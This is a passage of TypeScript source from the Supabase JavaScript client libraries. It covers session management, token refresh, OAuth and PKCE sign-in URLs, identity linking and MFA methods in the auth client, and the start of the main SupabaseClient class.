}\n\n throw error\n }\n }\n\n /**\n * Checks if the current URL contains parameters given by an implicit oauth grant flow (https://www.rfc-editor.org/rfc/rfc6749.html#section-4.2)\n */\n private _isImplicitGrantFlow(): boolean {\n const params = parseParametersFromURL(window.location.href)\n\n return !!(isBrowser() && (params.access_token || params.error_description))\n }\n\n /**\n * Checks if the current URL and backing storage contain parameters given by a PKCE flow\n */\n private async _isPKCEFlow(): Promise {\n const params = parseParametersFromURL(window.location.href)\n\n const currentStorageContent = await getItemAsync(\n this.storage,\n `${this.storageKey}-code-verifier`\n )\n\n return !!(params.code && currentStorageContent)\n }\n\n /**\n * Inside a browser context, `signOut()` will remove the logged in user from the browser session and log them out - removing all items from localstorage and then trigger a `\"SIGNED_OUT\"` event.\n *\n * For server-side management, you can revoke all refresh tokens for a user by passing a user's JWT through to `auth.api.signOut(JWT: string)`.\n * There is no way to revoke a user's access token jwt until it expires. It is recommended to set a shorter expiry on the jwt for this reason.\n *\n * If using `others` scope, no `SIGNED_OUT` event is fired!\n */\n async signOut(options: SignOut = { scope: 'global' }): Promise<{ error: AuthError | null }> {\n await this.initializePromise\n\n return await this._acquireLock(-1, async () => {\n return await this._signOut(options)\n })\n }\n\n protected async _signOut(\n { scope }: SignOut = { scope: 'global' }\n ): Promise<{ error: AuthError | null }> {\n return await this._useSession(async (result) => {\n const { data, error: sessionError } = result\n if (sessionError) {\n return { error: sessionError }\n }\n const accessToken = data.session?.access_token\n if (accessToken) {\n const { error } = await this.admin.signOut(accessToken, scope)\n if (error) {\n // ignore 404s since user might not exist anymore\n // ignore 401s since an invalid or expired JWT should sign out the current session\n if (\n !(\n isAuthApiError(error) &&\n (error.status === 404 || error.status === 401 || error.status === 403)\n )\n ) {\n return { error }\n }\n }\n }\n if (scope !== 'others') {\n await this._removeSession()\n await removeItemAsync(this.storage, `${this.storageKey}-code-verifier`)\n await this._notifyAllSubscribers('SIGNED_OUT', null)\n }\n return { error: null }\n })\n }\n\n /**\n * Receive a notification every time an auth event happens.\n * @param callback A callback function to be invoked when an auth event happens.\n */\n onAuthStateChange(\n callback: (event: AuthChangeEvent, session: Session | null) => void | Promise\n ): {\n data: { subscription: Subscription }\n } {\n const id: string = uuid()\n const subscription: Subscription = {\n id,\n callback,\n unsubscribe: () => {\n this._debug('#unsubscribe()', 'state change callback with id removed', id)\n\n this.stateChangeEmitters.delete(id)\n },\n }\n\n this._debug('#onAuthStateChange()', 'registered callback with id', id)\n\n this.stateChangeEmitters.set(id, subscription)\n ;(async () => {\n await this.initializePromise\n\n await this._acquireLock(-1, async () => {\n this._emitInitialSession(id)\n })\n })()\n\n return { data: { subscription } }\n }\n\n private async _emitInitialSession(id: string): Promise {\n return await this._useSession(async (result) => {\n try {\n const {\n data: { session },\n error,\n } = result\n if (error) throw error\n\n await this.stateChangeEmitters.get(id)?.callback('INITIAL_SESSION', session)\n this._debug('INITIAL_SESSION', 'callback id', id, 'session', session)\n } catch (err) {\n await this.stateChangeEmitters.get(id)?.callback('INITIAL_SESSION', null)\n this._debug('INITIAL_SESSION', 'callback id', id, 'error', err)\n console.error(err)\n }\n })\n }\n\n /**\n * Sends a password reset request to an email address. This method supports the PKCE flow.\n *\n * @param email The email address of the user.\n * @param options.redirectTo The URL to send the user to after they click the password reset link.\n * @param options.captchaToken Verification token received when the user completes the captcha on the site.\n */\n async resetPasswordForEmail(\n email: string,\n options: {\n redirectTo?: string\n captchaToken?: string\n } = {}\n ): Promise<\n | {\n data: {}\n error: null\n }\n | { data: null; error: AuthError }\n > {\n let codeChallenge: string | null = null\n let codeChallengeMethod: string | null = null\n\n if (this.flowType === 'pkce') {\n ;[codeChallenge, codeChallengeMethod] = await getCodeChallengeAndMethod(\n this.storage,\n this.storageKey,\n true // isPasswordRecovery\n )\n }\n try {\n return await _request(this.fetch, 'POST', `${this.url}/recover`, {\n body: {\n email,\n code_challenge: codeChallenge,\n code_challenge_method: codeChallengeMethod,\n gotrue_meta_security: { captcha_token: options.captchaToken },\n },\n headers: this.headers,\n redirectTo: options.redirectTo,\n })\n } catch (error) {\n if (isAuthError(error)) {\n return { data: null, error }\n }\n\n throw error\n }\n }\n\n /**\n * Gets all the identities linked to a user.\n */\n async getUserIdentities(): Promise<\n | {\n data: {\n identities: UserIdentity[]\n }\n error: null\n }\n | { data: null; error: AuthError }\n > {\n try {\n const { data, error } = await this.getUser()\n if (error) throw error\n return { data: { identities: data.user.identities ?? [] }, error: null }\n } catch (error) {\n if (isAuthError(error)) {\n return { data: null, error }\n }\n throw error\n }\n }\n /**\n * Links an oauth identity to an existing user.\n * This method supports the PKCE flow.\n */\n async linkIdentity(credentials: SignInWithOAuthCredentials): Promise {\n try {\n const { data, error } = await this._useSession(async (result) => {\n const { data, error } = result\n if (error) throw error\n const url: string = await this._getUrlForProvider(\n `${this.url}/user/identities/authorize`,\n credentials.provider,\n {\n redirectTo: credentials.options?.redirectTo,\n scopes: credentials.options?.scopes,\n queryParams: credentials.options?.queryParams,\n skipBrowserRedirect: true,\n }\n )\n return await _request(this.fetch, 'GET', url, {\n headers: this.headers,\n jwt: data.session?.access_token ?? undefined,\n })\n })\n if (error) throw error\n if (isBrowser() && !credentials.options?.skipBrowserRedirect) {\n window.location.assign(data?.url)\n }\n return { data: { provider: credentials.provider, url: data?.url }, error: null }\n } catch (error) {\n if (isAuthError(error)) {\n return { data: { provider: credentials.provider, url: null }, error }\n }\n throw error\n }\n }\n\n /**\n * Unlinks an identity from a user by deleting it. The user will no longer be able to sign in with that identity once it's unlinked.\n */\n async unlinkIdentity(identity: UserIdentity): Promise<\n | {\n data: {}\n error: null\n }\n | { data: null; error: AuthError }\n > {\n try {\n return await this._useSession(async (result) => {\n const { data, error } = result\n if (error) {\n throw error\n }\n return await _request(\n this.fetch,\n 'DELETE',\n `${this.url}/user/identities/${identity.identity_id}`,\n {\n headers: this.headers,\n jwt: data.session?.access_token ?? undefined,\n }\n )\n })\n } catch (error) {\n if (isAuthError(error)) {\n return { data: null, error }\n }\n throw error\n }\n }\n\n /**\n * Generates a new JWT.\n * @param refreshToken A valid refresh token that was returned on login.\n */\n private async _refreshAccessToken(refreshToken: string): Promise {\n const debugName = `#_refreshAccessToken(${refreshToken.substring(0, 5)}...)`\n this._debug(debugName, 'begin')\n\n try {\n const startedAt = Date.now()\n\n // will attempt to refresh the token with exponential backoff\n return await retryable(\n async (attempt) => {\n if (attempt > 0) {\n await sleep(200 * Math.pow(2, attempt - 1)) // 200, 400, 800, ...\n }\n\n this._debug(debugName, 'refreshing attempt', attempt)\n\n return await _request(this.fetch, 'POST', `${this.url}/token?grant_type=refresh_token`, {\n body: { refresh_token: refreshToken },\n headers: this.headers,\n xform: _sessionResponse,\n })\n },\n (attempt, error) => {\n const nextBackOffInterval = 200 * Math.pow(2, attempt)\n return (\n error &&\n isAuthRetryableFetchError(error) &&\n // retryable only if the request can be sent before the backoff overflows the tick duration\n Date.now() + nextBackOffInterval - startedAt < AUTO_REFRESH_TICK_DURATION\n )\n }\n )\n } catch (error) {\n this._debug(debugName, 'error', error)\n\n if (isAuthError(error)) {\n return { data: { session: null, user: null }, error }\n }\n throw error\n } finally {\n this._debug(debugName, 'end')\n }\n }\n\n private _isValidSession(maybeSession: unknown): maybeSession is Session {\n const isValidSession =\n typeof maybeSession === 'object' &&\n maybeSession !== null &&\n 'access_token' in maybeSession &&\n 'refresh_token' in maybeSession &&\n 'expires_at' in maybeSession\n\n return isValidSession\n }\n\n private async _handleProviderSignIn(\n provider: Provider,\n options: {\n redirectTo?: string\n scopes?: string\n queryParams?: { [key: string]: string }\n skipBrowserRedirect?: boolean\n }\n ) {\n const url: string = await this._getUrlForProvider(`${this.url}/authorize`, provider, {\n redirectTo: options.redirectTo,\n scopes: options.scopes,\n queryParams: options.queryParams,\n })\n\n this._debug('#_handleProviderSignIn()', 'provider', provider, 'options', options, 'url', url)\n\n // try to open on the browser\n if (isBrowser() && !options.skipBrowserRedirect) {\n window.location.assign(url)\n }\n\n return { data: { provider, url }, error: null }\n }\n\n /**\n * Recovers the session from LocalStorage and refreshes\n * Note: this method is async to accommodate for AsyncStorage e.g. in React native.\n */\n private async _recoverAndRefresh() {\n const debugName = '#_recoverAndRefresh()'\n this._debug(debugName, 'begin')\n\n try {\n const currentSession = await getItemAsync(this.storage, this.storageKey)\n this._debug(debugName, 'session from storage', currentSession)\n\n if (!this._isValidSession(currentSession)) {\n this._debug(debugName, 'session is not valid')\n if (currentSession !== null) {\n await this._removeSession()\n }\n\n return\n }\n\n const timeNow = Math.round(Date.now() / 1000)\n const expiresWithMargin = (currentSession.expires_at ?? Infinity) < timeNow + EXPIRY_MARGIN\n\n this._debug(\n debugName,\n `session has${expiresWithMargin ? '' : ' not'} expired with margin of ${EXPIRY_MARGIN}s`\n )\n\n if (expiresWithMargin) {\n if (this.autoRefreshToken && currentSession.refresh_token) {\n const { error } = await this._callRefreshToken(currentSession.refresh_token)\n\n if (error) {\n console.error(error)\n\n if (!isAuthRetryableFetchError(error)) {\n this._debug(\n debugName,\n 'refresh failed with a non-retryable error, removing the session',\n error\n )\n await this._removeSession()\n }\n }\n }\n } else {\n // no need to persist currentSession again, as we just loaded it from\n // local storage; persisting it again may overwrite a value saved by\n // another client with access to the same local storage\n await this._notifyAllSubscribers('SIGNED_IN', currentSession)\n }\n } catch (err) {\n this._debug(debugName, 'error', err)\n\n console.error(err)\n return\n } finally {\n this._debug(debugName, 'end')\n }\n }\n\n private async _callRefreshToken(refreshToken: string): Promise {\n if (!refreshToken) {\n throw new AuthSessionMissingError()\n }\n\n // refreshing is already in progress\n if (this.refreshingDeferred) {\n return this.refreshingDeferred.promise\n }\n\n const debugName = `#_callRefreshToken(${refreshToken.substring(0, 5)}...)`\n\n this._debug(debugName, 'begin')\n\n try {\n this.refreshingDeferred = new Deferred()\n\n const { data, error } = await this._refreshAccessToken(refreshToken)\n if (error) throw error\n if (!data.session) throw new AuthSessionMissingError()\n\n await this._saveSession(data.session)\n await this._notifyAllSubscribers('TOKEN_REFRESHED', data.session)\n\n const result = { session: data.session, error: null }\n\n this.refreshingDeferred.resolve(result)\n\n return result\n } catch (error) {\n this._debug(debugName, 'error', error)\n\n if (isAuthError(error)) {\n const result = { session: null, error }\n\n if (!isAuthRetryableFetchError(error)) {\n await this._removeSession()\n await this._notifyAllSubscribers('SIGNED_OUT', null)\n }\n\n this.refreshingDeferred?.resolve(result)\n\n return result\n }\n\n this.refreshingDeferred?.reject(error)\n throw error\n } finally {\n this.refreshingDeferred = null\n this._debug(debugName, 'end')\n }\n }\n\n private async _notifyAllSubscribers(\n event: AuthChangeEvent,\n session: Session | null,\n broadcast = true\n ) {\n const debugName = `#_notifyAllSubscribers(${event})`\n this._debug(debugName, 'begin', session, `broadcast = ${broadcast}`)\n\n try {\n if (this.broadcastChannel && broadcast) {\n this.broadcastChannel.postMessage({ event, session })\n }\n\n const errors: any[] = []\n const promises = Array.from(this.stateChangeEmitters.values()).map(async (x) => {\n try {\n await x.callback(event, session)\n } catch (e: any) {\n errors.push(e)\n }\n })\n\n await Promise.all(promises)\n\n if (errors.length > 0) {\n for (let i = 0; i < errors.length; i += 1) {\n console.error(errors[i])\n }\n\n throw errors[0]\n }\n } finally {\n this._debug(debugName, 'end')\n }\n }\n\n /**\n * set currentSession and currentUser\n * process to _startAutoRefreshToken if possible\n */\n private async _saveSession(session: Session) {\n this._debug('#_saveSession()', session)\n // _saveSession is always called whenever a new session has been acquired\n // so we can safely suppress the warning returned by future getSession calls\n this.suppressGetSessionWarning = true\n await setItemAsync(this.storage, this.storageKey, session)\n }\n\n private async _removeSession() {\n this._debug('#_removeSession()')\n\n await removeItemAsync(this.storage, this.storageKey)\n }\n\n /**\n * Removes any registered visibilitychange callback.\n *\n * {@see #startAutoRefresh}\n * {@see #stopAutoRefresh}\n */\n private _removeVisibilityChangedCallback() {\n this._debug('#_removeVisibilityChangedCallback()')\n\n const callback = this.visibilityChangedCallback\n this.visibilityChangedCallback = null\n\n try {\n if (callback && isBrowser() && window?.removeEventListener) {\n window.removeEventListener('visibilitychange', callback)\n }\n } catch (e) {\n console.error('removing visibilitychange callback failed', e)\n }\n }\n\n /**\n * This is the private implementation of {@link #startAutoRefresh}. Use this\n * within the library.\n */\n private async _startAutoRefresh() {\n await this._stopAutoRefresh()\n\n this._debug('#_startAutoRefresh()')\n\n const ticker = setInterval(() => this._autoRefreshTokenTick(), AUTO_REFRESH_TICK_DURATION)\n this.autoRefreshTicker = ticker\n\n if (ticker && typeof ticker === 'object' && typeof ticker.unref === 'function') {\n // ticker is a NodeJS Timeout object that has an `unref` method\n // https://nodejs.org/api/timers.html#timeoutunref\n // When auto refresh is used in NodeJS (like for testing) the\n // `setInterval` is preventing the process from being marked as\n // finished and tests run endlessly. This can be prevented by calling\n // `unref()` on the returned object.\n ticker.unref()\n // @ts-ignore\n } else if (typeof Deno !== 'undefined' && typeof Deno.unrefTimer === 'function') {\n // similar like for NodeJS, but with the Deno API\n // https://deno.land/api@latest?unstable&s=Deno.unrefTimer\n // @ts-ignore\n Deno.unrefTimer(ticker)\n }\n\n // run the tick immediately, but in the next pass of the event loop so that\n // #_initialize can be allowed to complete without recursively waiting on\n // itself\n setTimeout(async () => {\n await this.initializePromise\n await this._autoRefreshTokenTick()\n }, 0)\n }\n\n /**\n * This is the private implementation of {@link #stopAutoRefresh}. Use this\n * within the library.\n */\n private async _stopAutoRefresh() {\n this._debug('#_stopAutoRefresh()')\n\n const ticker = this.autoRefreshTicker\n this.autoRefreshTicker = null\n\n if (ticker) {\n clearInterval(ticker)\n }\n }\n\n /**\n * Starts an auto-refresh process in the background. The session is checked\n * every few seconds. Close to the time of expiration a process is started to\n * refresh the session. If refreshing fails it will be retried for as long as\n * necessary.\n *\n * If you set the {@link GoTrueClientOptions#autoRefreshToken} you don't need\n * to call this function, it will be called for you.\n *\n * On browsers the refresh process works only when the tab/window is in the\n * foreground to conserve resources as well as prevent race conditions and\n * flooding auth with requests. If you call this method any managed\n * visibility change callback will be removed and you must manage visibility\n * changes on your own.\n *\n * On non-browser platforms the refresh process works *continuously* in the\n * background, which may not be desirable. You should hook into your\n * platform's foreground indication mechanism and call these methods\n * appropriately to conserve resources.\n *\n * {@see #stopAutoRefresh}\n */\n async startAutoRefresh() {\n this._removeVisibilityChangedCallback()\n await this._startAutoRefresh()\n }\n\n /**\n * Stops an active auto refresh process running in the background (if any).\n *\n * If you call this method any managed visibility change callback will be\n * removed and you must manage visibility changes on your own.\n *\n * See {@link #startAutoRefresh} for more details.\n */\n async stopAutoRefresh() {\n this._removeVisibilityChangedCallback()\n await this._stopAutoRefresh()\n }\n\n /**\n * Runs the auto refresh token tick.\n */\n private async _autoRefreshTokenTick() {\n this._debug('#_autoRefreshTokenTick()', 'begin')\n\n try {\n await this._acquireLock(0, async () => {\n try {\n const now = Date.now()\n\n try {\n return await this._useSession(async (result) => {\n const {\n data: { session },\n } = result\n\n if (!session || !session.refresh_token || !session.expires_at) {\n this._debug('#_autoRefreshTokenTick()', 'no session')\n return\n }\n\n // session will expire in this many ticks (or has already expired if <= 0)\n const expiresInTicks = Math.floor(\n (session.expires_at * 1000 - now) / AUTO_REFRESH_TICK_DURATION\n )\n\n this._debug(\n '#_autoRefreshTokenTick()',\n `access token expires in ${expiresInTicks} ticks, a tick lasts ${AUTO_REFRESH_TICK_DURATION}ms, refresh threshold is ${AUTO_REFRESH_TICK_THRESHOLD} ticks`\n )\n\n if (expiresInTicks <= AUTO_REFRESH_TICK_THRESHOLD) {\n await this._callRefreshToken(session.refresh_token)\n }\n })\n } catch (e: any) {\n console.error(\n 'Auto refresh tick failed with error. This is likely a transient error.',\n e\n )\n }\n } finally {\n this._debug('#_autoRefreshTokenTick()', 'end')\n }\n })\n } catch (e: any) {\n if (e.isAcquireTimeout || e instanceof LockAcquireTimeoutError) {\n this._debug('auto refresh token tick lock not available')\n } else {\n throw e\n }\n }\n }\n\n /**\n * Registers callbacks on the browser / platform, which in-turn run\n * algorithms when the browser window/tab are in foreground. On non-browser\n * platforms it assumes always foreground.\n */\n private async _handleVisibilityChange() {\n this._debug('#_handleVisibilityChange()')\n\n if (!isBrowser() || !window?.addEventListener) {\n if (this.autoRefreshToken) {\n // in non-browser environments the refresh token ticker runs always\n this.startAutoRefresh()\n }\n\n return false\n }\n\n try {\n this.visibilityChangedCallback = async () => await this._onVisibilityChanged(false)\n\n window?.addEventListener('visibilitychange', this.visibilityChangedCallback)\n\n // now immediately call the visbility changed callback to setup with the\n // current visbility state\n await this._onVisibilityChanged(true) // initial call\n } catch (error) {\n console.error('_handleVisibilityChange', error)\n }\n }\n\n /**\n * Callback registered with `window.addEventListener('visibilitychange')`.\n */\n private async _onVisibilityChanged(calledFromInitialize: boolean) {\n const methodName = `#_onVisibilityChanged(${calledFromInitialize})`\n this._debug(methodName, 'visibilityState', document.visibilityState)\n\n if (document.visibilityState === 'visible') {\n if (this.autoRefreshToken) {\n // in browser environments the refresh token ticker runs only on focused tabs\n // which prevents race conditions\n this._startAutoRefresh()\n }\n\n if (!calledFromInitialize) {\n // called when the visibility has changed, i.e. the browser\n // transitioned from hidden -> visible so we need to see if the session\n // should be recovered immediately... but to do that we need to acquire\n // the lock first asynchronously\n await this.initializePromise\n\n await this._acquireLock(-1, async () => {\n if (document.visibilityState !== 'visible') {\n this._debug(\n methodName,\n 'acquired the lock to recover the session, but the browser visibilityState is no longer visible, aborting'\n )\n\n // visibility has changed while waiting for the lock, abort\n return\n }\n\n // recover the session\n await this._recoverAndRefresh()\n })\n }\n } else if (document.visibilityState === 'hidden') {\n if (this.autoRefreshToken) {\n this._stopAutoRefresh()\n }\n }\n }\n\n /**\n * Generates the relevant login URL for a third-party provider.\n * @param options.redirectTo A URL or mobile address to send the user to after they are confirmed.\n * @param options.scopes A space-separated list of scopes granted to the OAuth application.\n * @param options.queryParams An object of key-value pairs containing query parameters granted to the OAuth application.\n */\n private async _getUrlForProvider(\n url: string,\n provider: Provider,\n options: {\n redirectTo?: string\n scopes?: string\n queryParams?: { [key: string]: string }\n skipBrowserRedirect?: boolean\n }\n ) {\n const urlParams: string[] = [`provider=${encodeURIComponent(provider)}`]\n if (options?.redirectTo) {\n urlParams.push(`redirect_to=${encodeURIComponent(options.redirectTo)}`)\n }\n if (options?.scopes) {\n urlParams.push(`scopes=${encodeURIComponent(options.scopes)}`)\n }\n if (this.flowType === 'pkce') {\n const [codeChallenge, codeChallengeMethod] = await getCodeChallengeAndMethod(\n this.storage,\n this.storageKey\n )\n\n const flowParams = new URLSearchParams({\n code_challenge: `${encodeURIComponent(codeChallenge)}`,\n code_challenge_method: `${encodeURIComponent(codeChallengeMethod)}`,\n })\n urlParams.push(flowParams.toString())\n }\n if (options?.queryParams) {\n const query = new URLSearchParams(options.queryParams)\n urlParams.push(query.toString())\n }\n if (options?.skipBrowserRedirect) {\n urlParams.push(`skip_http_redirect=${options.skipBrowserRedirect}`)\n }\n\n return `${url}?${urlParams.join('&')}`\n }\n\n private async _unenroll(params: MFAUnenrollParams): Promise {\n try {\n return await this._useSession(async (result) => {\n const { data: sessionData, error: sessionError } = result\n if (sessionError) {\n return { data: null, error: sessionError }\n }\n\n return await _request(this.fetch, 'DELETE', `${this.url}/factors/${params.factorId}`, {\n headers: this.headers,\n jwt: sessionData?.session?.access_token,\n })\n })\n } catch (error) {\n if (isAuthError(error)) {\n return { data: null, error }\n }\n throw error\n }\n }\n\n /**\n * {@see GoTrueMFAApi#enroll}\n */\n private async _enroll(params: MFAEnrollParams): Promise {\n try {\n return await this._useSession(async (result) => {\n const { data: sessionData, error: sessionError } = result\n if (sessionError) {\n return { data: null, error: sessionError }\n }\n\n const { data, error } = await _request(this.fetch, 'POST', `${this.url}/factors`, {\n body: {\n friendly_name: params.friendlyName,\n factor_type: params.factorType,\n issuer: params.issuer,\n },\n headers: this.headers,\n jwt: sessionData?.session?.access_token,\n })\n\n if (error) {\n return { data: null, error }\n }\n\n if (data?.totp?.qr_code) {\n data.totp.qr_code = `data:image/svg+xml;utf-8,${data.totp.qr_code}`\n }\n\n return { data, error: null }\n })\n } catch (error) {\n if (isAuthError(error)) {\n return { data: null, error }\n }\n throw error\n }\n }\n\n /**\n * {@see GoTrueMFAApi#verify}\n */\n private async _verify(params: MFAVerifyParams): Promise {\n return this._acquireLock(-1, async () => {\n try {\n return await this._useSession(async (result) => {\n const { data: sessionData, error: sessionError } = result\n if (sessionError) {\n return { data: null, error: sessionError }\n }\n\n const { data, error } = await _request(\n this.fetch,\n 'POST',\n `${this.url}/factors/${params.factorId}/verify`,\n {\n body: { code: params.code, challenge_id: params.challengeId },\n headers: this.headers,\n jwt: sessionData?.session?.access_token,\n }\n )\n if (error) {\n return { data: null, error }\n }\n\n await this._saveSession({\n expires_at: Math.round(Date.now() / 1000) + data.expires_in,\n ...data,\n })\n await this._notifyAllSubscribers('MFA_CHALLENGE_VERIFIED', data)\n\n return { data, error }\n })\n } catch (error) {\n if (isAuthError(error)) {\n return { data: null, error }\n }\n throw error\n }\n })\n }\n\n /**\n * {@see GoTrueMFAApi#challenge}\n */\n private async _challenge(params: MFAChallengeParams): Promise {\n return this._acquireLock(-1, async () => {\n try {\n return await this._useSession(async (result) => {\n const { data: sessionData, error: sessionError } = result\n if (sessionError) {\n return { data: null, error: sessionError }\n }\n\n return await _request(\n this.fetch,\n 'POST',\n `${this.url}/factors/${params.factorId}/challenge`,\n {\n headers: this.headers,\n jwt: sessionData?.session?.access_token,\n }\n )\n })\n } catch (error) {\n if (isAuthError(error)) {\n return { data: null, error }\n }\n throw error\n }\n })\n }\n\n /**\n * {@see GoTrueMFAApi#challengeAndVerify}\n */\n private async _challengeAndVerify(\n params: MFAChallengeAndVerifyParams\n ): Promise {\n // both _challenge and _verify independently acquire the lock, so no need\n // to acquire it here\n\n const { data: challengeData, error: challengeError } = await this._challenge({\n factorId: params.factorId,\n })\n if (challengeError) {\n return { data: null, error: challengeError }\n }\n\n return await this._verify({\n factorId: params.factorId,\n challengeId: challengeData.id,\n code: params.code,\n })\n }\n\n /**\n * {@see GoTrueMFAApi#listFactors}\n */\n private async _listFactors(): Promise {\n // use #getUser instead of #_getUser as the former acquires a lock\n const {\n data: { user },\n error: userError,\n } = await this.getUser()\n if (userError) {\n return { data: null, error: userError }\n }\n\n const factors = user?.factors || []\n const totp = factors.filter(\n (factor) => factor.factor_type === 'totp' && factor.status === 'verified'\n )\n\n return {\n data: {\n all: factors,\n totp,\n },\n error: null,\n }\n }\n\n /**\n * {@see GoTrueMFAApi#getAuthenticatorAssuranceLevel}\n */\n private async _getAuthenticatorAssuranceLevel(): Promise {\n return this._acquireLock(-1, async () => {\n return await this._useSession(async (result) => {\n const {\n data: { session },\n error: sessionError,\n } = result\n if (sessionError) {\n return { data: null, error: sessionError }\n }\n if (!session) {\n return {\n data: { currentLevel: null, nextLevel: null, currentAuthenticationMethods: [] },\n error: null,\n }\n }\n\n const payload = this._decodeJWT(session.access_token)\n\n let currentLevel: AuthenticatorAssuranceLevels | null = null\n\n if (payload.aal) {\n currentLevel = payload.aal\n }\n\n let nextLevel: AuthenticatorAssuranceLevels | null = currentLevel\n\n const verifiedFactors =\n session.user.factors?.filter((factor: Factor) => factor.status === 'verified') ?? []\n\n if (verifiedFactors.length > 0) {\n nextLevel = 'aal2'\n }\n\n const currentAuthenticationMethods = payload.amr || []\n\n return { data: { currentLevel, nextLevel, currentAuthenticationMethods }, error: null }\n })\n })\n }\n}\n", "import GoTrueClient from './GoTrueClient'\n\nconst AuthClient = GoTrueClient\n\nexport default AuthClient\n", "import { AuthClient } from '@supabase/auth-js'\nimport { SupabaseAuthClientOptions } from './types'\n\nexport class SupabaseAuthClient extends AuthClient {\n constructor(options: SupabaseAuthClientOptions) {\n super(options)\n }\n}\n", "import { FunctionsClient } from '@supabase/functions-js'\nimport { AuthChangeEvent } from '@supabase/auth-js'\nimport {\n PostgrestClient,\n PostgrestFilterBuilder,\n PostgrestQueryBuilder,\n} from '@supabase/postgrest-js'\nimport {\n RealtimeChannel,\n RealtimeChannelOptions,\n RealtimeClient,\n RealtimeClientOptions,\n} from '@supabase/realtime-js'\nimport { StorageClient as SupabaseStorageClient } from '@supabase/storage-js'\nimport {\n DEFAULT_GLOBAL_OPTIONS,\n DEFAULT_DB_OPTIONS,\n DEFAULT_AUTH_OPTIONS,\n DEFAULT_REALTIME_OPTIONS,\n} from './lib/constants'\nimport { fetchWithAuth } from './lib/fetch'\nimport { stripTrailingSlash, applySettingDefaults } from './lib/helpers'\nimport { SupabaseAuthClient } from './lib/SupabaseAuthClient'\nimport { Fetch, GenericSchema, SupabaseClientOptions, SupabaseAuthClientOptions } from './lib/types'\n\n/**\n * Supabase Client.\n *\n * An isomorphic Javascript client for interacting with Postgres.\n */\nexport default class SupabaseClient<\n Database = any,\n SchemaName extends string & keyof Database = 'public' extends keyof Database\n ? 'public'\n : string & keyof Database,\n Schema extends GenericSchema = Database[SchemaName] extends GenericSchema\n ? Database[SchemaName]\n : any\n> {\n /**\n * Supabase Auth allows you to create and manage user sessions for access to data that is secured by access policies.\n */\n auth: SupabaseAuthClient\n realtime: RealtimeClient\n\n protected realtimeUrl: string\n protected authUrl: string\n protected storageUrl: string\n protected functionsUrl: string\n protected rest: PostgrestClient\n protected storageKey: string\n protected fetch?: Fetch\n protected changedAccessToken?: string\n\n protected headers: Record\n\n /**\n * Create a new client for use in the browser.\n * @param supabaseUrl The unique Supabase URL which is supplied when you create a new project in your project dashboard.\n * @param supabaseKey The unique Supabase Key which is supplied when you create a new project in your project dashboard.\n * @param options.db.schema You can switch in between schemas. The schema needs to be on the list of exposed schemas inside Supabase.\n * @param options.auth.autoRefreshToken Set to \"true\" if you want to automatically refresh the token before expiring.\n * @param options.auth.persistSession Set to \"true\" if you want to automatically save the user session into local storage.\n * @param options.auth.detectSessionInUrl Set to \"true\" if you want to automatically detects OAuth grants in the URL and signs in the user.\n * @param options.realtime Options passed along to realtime-js constructor.\n * @param options.global.fetch A custom fetch implementation.\n * @param options.global.headers Any additional headers to send with each network request.\n */\n constructor(\n protected supabaseUrl: string,\n protected supabaseKey: string,\n options?: SupabaseClientOptions\n ) {\n if (!supabaseUrl) throw new Error('supabaseUrl is required.')\n if (!supabaseKey) throw new Error('supabaseKey is required.')\n\n const _supabaseUrl = stripTrailingSlash(supabaseUrl)\n\n this.realtimeUrl = `${_supabaseUrl}/realtime/v1`.replace(/^http/i, 'ws')\n this.authUrl = `${_supabaseUrl}/auth/v1`\n this.storageUrl = `${_supabaseUrl}/storage/v1`\n this.functionsUrl = `${_supabaseUrl}/functions/v1`\n\n // default storage key uses the supabase project ref as a namespace\n const defaultStorageKey = `sb-${new URL(this.authUrl).hostname.split('.')[0]}-auth-token`\n const DEFAULTS = {\n db: DEFAULT_DB_OPTIONS,\n realtime: DEFAULT_REALTIME_OPTIONS,\n auth: { ...DEFAULT_AUTH_OPTIONS, storageKey: defaultStorageKey },\n global: DEFAULT_GLOBAL_OPTIONS,\n }\n\n const settings = applySettingDefaults(options ?? {}, DEFAULTS)\n\n this.storageKey = settings.auth.storageKey ?? ''\n this.headers = settings.global.headers ?? {}\n\n this.auth = this._initSupabaseAuthClient(\n settings.auth ?? {},\n this.headers,\n settings.global.fetch\n )\n this.fetch = fetchWithAuth(supabaseKey, this._getAccessToken.bind(this), settings.global.fetch)\n\n this.realtime = this._initRealtimeClient({ headers: this.headers, ...settings.realtime })\n this.rest = new PostgrestClient(`${_supabaseUrl}/rest/v1`, {\n headers: this.headers,\n schema: settings.db.schema,\n fetch: this.fetch,\n })\n\n this._listenForAuthEvents()\n }\n\n /**\n * Supabase Functions allows you to deploy and invoke edge functions.\n */\n get functions(): FunctionsClient {\n return new FunctionsClient(this.functionsUrl, {\n headers: this.headers,\n customFetch: this.fetch,\n })\n }\n\n /**\n * Supabase Storage allows you to manage user-generated content, such as photos or videos.\n */\n get storage(): SupabaseStorageClient {\n return new SupabaseStorageClient(this.storageUrl, this.headers, this.fetch)\n }\n\n // NOTE: signatures must be kept in sync with PostgrestClient.from\n from<\n TableName extends string & keyof Schema['Tables'],\n Table extends Schema['Tables'][TableName]\n >(relation: TableName): PostgrestQueryBuilder\n from(\n relation: ViewName\n ): PostgrestQueryBuilder\n /**\n * Perform a query on a table or a view.\n *\n * @param relation - The table or view name to query\n */\n from(relation: string): PostgrestQueryBuilder {\n return this.rest.from(relation)\n }\n\n // NOTE: signatures must be kept in sync with PostgrestClient.schema\n /**\n * Select a schema to query or perform an function (rpc) call.\n *\n * The schema needs to be on the list of exposed schemas inside Supabase.\n *\n * @param schema - The schema to query\n */\n schema(\n schema: DynamicSchema\n ): PostgrestClient<\n Database,\n DynamicSchema,\n Database[DynamicSchema] extends GenericSchema ? Database[DynamicSchema] : any\n > {\n return this.rest.schema(schema)\n }\n\n // NOTE: signatures must be kept in sync with PostgrestClient.rpc\n /**\n * Perform a function call.\n *\n * @param fn - The function name to call\n * @param args - The arguments to pass to the function call\n * @param options - Named parameters\n * @param options.head - When set to `true`, `data` will not be returned.\n * Useful if you only need the count.\n * @param options.get - When set to `true`, the function will be called with\n * read-only access mode.\n * @param options.count - Count algorithm to use to count rows returned by the\n * function. Only applicable for [set-returning\n * functions](https://www.postgresql.org/docs/current/functions-srf.html).\n *\n * `\"exact\"`: Exact but slow count algorithm. Performs a `COUNT(*)` under the\n * hood.\n *\n * `\"planned\"`: Approximated but fast count algorithm. Uses the Postgres\n * statistics under the hood.\n *\n * `\"estimated\"`: Uses exact count for low numbers and planned count for high\n * numbers.\n */\n rpc(\n fn: FnName,\n args: Fn['Args'] = {},\n options: {\n head?: boolean\n get?: boolean\n count?: 'exact' | 